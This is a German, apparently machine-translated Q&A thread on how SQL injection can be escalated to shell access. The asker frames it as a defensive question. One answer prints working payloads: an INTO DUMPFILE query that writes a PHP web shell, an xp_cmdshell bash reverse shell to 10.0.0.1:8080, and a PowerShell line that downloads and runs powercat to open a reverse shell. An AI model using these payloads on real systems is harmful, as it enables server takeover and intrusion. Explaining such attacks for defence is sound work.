it-swarm-eu.dev

Nutzung einer Shell aus der SQL-Injection

Nach meinem Verständnis sollte die SQL-Injection nur die Manipulation und den Abruf von Daten ermöglichen, nicht mehr. Unter der Annahme, dass keine Passwörter erhalten werden, wie kann eine einfache SQL-Injection verwendet werden, um eine Shell zu nutzen?

Ich habe Angriffe gesehen, bei denen behauptet wurde, dass dies möglich ist, und wenn dies der Fall ist, möchte ich mich davor schützen können.

20
Sonny Ordell

Viele gängige SQL Server unterstützen Funktionen wie xp_cmdshell, mit denen beliebige Befehle ausgeführt werden können. Sie sind nicht im SQL-Standard enthalten, daher hat jede Datenbanksoftware unterschiedliche Namen.

Außerdem gibt es SELECT ... INTO OUTFILE, mit dem beliebige Dateien schreiben können mit den Berechtigungen des Datenbankbenutzers. Es kann möglich sein, Shell-Skripte zu überschreiben, die von cron oder beim Start aufgerufen werden. Wenn der Datenbankserverprozess auf demselben Server wie eine Webanwendung ausgeführt wird (z. B. ein einzelner gemieteter Server), möglicherweise können PHP-Dateien geschrieben werden , der durch Aufrufen der entsprechenden URL in aufgerufen werden kann der Browser.

Die dritte Möglichkeit, Schaden zu verursachen, besteht darin, gespeicherte Prozeduren in der Datenbank zu definieren und auszuführen. Oder definieren Sie vorhandene gespeicherte Prozeduren neu, z. B. eine Funktion, die Kennwörter überprüft.

Es gibt wahrscheinlich mehr Möglichkeiten.

Der Benutzer der Anwendungsdatenbank sollte weder über die Berechtigung verfügen, die Shell-Funktionen auszuführen, INTO OUTFILE zu verwenden noch gespeicherte Prozeduren zu definieren.

25

Es gibt verschiedene Möglichkeiten, um Shell zu erhalten. Hier sind einige davon. Der Link unten sollte Sie zu einigen hervorragenden Spickzettel für viele Arten von Datenbanken wie MSSQL, Oracle, MySQL und mehr führen.

Ein guter Tipp, um Shell zu bekommen, ist, dass Sie dieses mgekehrte Shell-Spickzettel in Ihrer Gesäßtasche haben.

Outfile

Wenn Sie wissen, wo Sie die Shell auf dem Server ablegen sollen (irgendwo zugänglich), können Sie mit der folgenden Abfrage (mysql) beispielsweise eine PHP-Shell auf dem Webserver erstellen:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/Shell.php’

Finden, wo Sie die Shell platzieren sollten

Sie müssen wissen, wo sich das Domain-Verzeichnis befindet. Zu erfahren, wo die Datenbank ausgeführt wird, kann hilfreich sein. Eine solche Injection-Abfrage (MySQL) würde Ihnen möglicherweise Informationen über die Verzeichnisarchitektur geben:

SELECT @@datadir;

Sie können auch Glück haben, wenn Sie versuchen, Fehlermeldungen vom System zu erzwingen, damit es Ihnen sagt, wo es ausgeführt wird. In der Regel ist dieser Ansatz am einfachsten, da viele Fehlermeldungen sehr häufig sind

Verwenden integrierter DB-Funktionen (xp_cmdshell)

MSSQL bietet eine relativ einfache Möglichkeit, Betriebssystemfunktionen mithilfe der integrierten Funktion xp_cmdshell aufzurufen. In MySQL ist dies nicht so einfach (erfordert normalerweise eine Datei oder eine gespeicherte Prozedur). Oracle ist sehr einfach und ermöglicht die Ausführung von Java Code.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

Mit der obigen Anweisung wird eine interaktive (-i) Shell erstellt, die den 10.0.0.1-Port 8080 überwacht.

Bearbeiten : Natürlich ist MSSQL mit Bash wirklich unwahrscheinlich. Ich habe nicht daran gedacht, bevor ich den Kommentar gesehen habe. Anstelle der Bash kann man stattdessen ein umgekehrtes Powershell-Skript ausführen, wie zum Beispiel:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat kann hier heruntergeladen werden: https://github.com/besimorhino/powercat

Shell über gespeicherte Prozeduren

Wenn Sie Abfragen in einem Injektionspunkt verketten können, können Sie höchstwahrscheinlich Prozeduren in der Datenbank erstellen. Diese Prozeduren funktionieren als Funktionen, die Sie dann mit quries aufrufen können.

Weitere Informationen hierzu finden Sie unter Shell-Befehle von PL SQL .

Andere

Gute Injektionsquelle: Pentest-Affe

14
Chris Dale

Mit einer Oracle-Datenbank können Sie tatsächlich kompilieren und ausführen Java Code aus einer SQL-Abfrage. Ich habe gesehen, dass Angreifer einen grundlegenden Shell-Wrapper in Java für Oracle, und führen und kompilieren Sie es aus SQL-Injection. Ziemlich geschickt.

4
chris